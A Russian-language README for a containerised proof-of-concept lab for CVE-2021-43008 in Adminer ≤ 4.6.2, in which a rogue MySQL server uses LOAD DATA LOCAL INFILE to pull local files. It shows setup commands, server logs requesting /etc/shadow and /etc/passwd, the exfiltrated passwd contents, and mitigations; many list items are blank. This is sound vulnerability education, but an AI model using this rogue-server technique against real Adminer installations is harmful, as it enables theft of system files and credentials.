
Демонстрационная среда для уязвимости CVE-2021-43008 в Adminer: наблюдение реального воздействия и тестирование мер по смягчению.
Adminer — это веб-инструмент (PHP) для удобного администрирования баз данных MySQL, PostgreSQL, SQLite или SQL Server. Он часто используется как легковесная альтернатива phpMyAdmin.
Затрагиваемые версии: Adminer ≤ 4.6.2
Adminer разрешает подключение к любому удаленному серверу MySQL. Однако при подключении к серверу MySQL клиент (здесь Adminer) принимает:
Adminer не проверяет должным образом ответы сервера MySQL в уязвимых версиях.
Результат:
«Прочитай этот локальный файл на машине или контейнере, где работает Adminer, и отправь его мне.»
Этот механизм связан с пакетом MySQL:
0xFB | filename → запускает локальное чтение файла.
Adminer 4.6.2 позволял пользователю указать внешний сервер MySQL и свободно подключаться к нему. Однако MySQL также по умолчанию разрешал использование:
LOAD DATA LOCAL INFILEИтак: Adminer → подключается к вредоносному серверу → вредоносный сервер запрашивает файл → Adminer отправляет его.
В этом и заключается суть уязвимости.
Злоумышленник должен:
LOAD DATA LOCAL INFILE.Для кражи локального файла не требуется root-пароль: Adminer выполняет это действие как PHP-приложение на целевом сервере.
Злоумышленник может:
С украденными учетными данными MySQL (вторичный этап) он может затем:
PoC проводится в изолированной и контейнеризованной среде, чтобы избежать рисков.
localhost:80800xFB filename, чтобы заставить Adminer прочитать локальный файл.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
В http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Используйте следующую команду для просмотра логов вредоносного сервера:
docker logs -f rogue_mysql
Ожидаемый результат:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
Просмотр содержимого файла stolen_file.txt:
docker exec -it rogue_mysql sh
Попав внутрь контейнера, вы сможете просмотреть содержимое файлов, включая stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Результат:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
Этот результат однозначно демонстрирует уязвимость.
Самое надежное решение: Перейти на Adminer ≥ 4.6.3
Последующие версии исправляют сетевое поведение.
Начиная с Adminer 4.7.x, было введено несколько защитных мер:
Adminer теперь по умолчанию запрещает LOAD DATA LOCAL INFILE
А именно:
→ Результат: ваш вредоносный MySQL больше не может красть файлы.
Adminer фильтрует действия клиента перед отправкой на сервер
Это предотвращает использование опасных функций внешними подключениями.
Дополнительные механизмы проверки ввода
Новые версии проверяют:
Ограничить Adminer только внутренними хостами:
Production Adminer всегда должен указывать на внутренний MySQL.
LOCAL INFILE на стороне MySQLПредотвращает кражу через легитимный MySQL-клиент:
[mysqld]
local_infile=0
или:
SET GLOBAL local_infile=0;
Adminer не должен быть доступен в Интернете.
В производственной среде:
Adminer следует рассматривать как временный инструмент:
CVE-2021-43008 — это критическая уязвимость в Adminer ≤ 4.6.2, которая позволяет:
Это отличная демонстрация важности: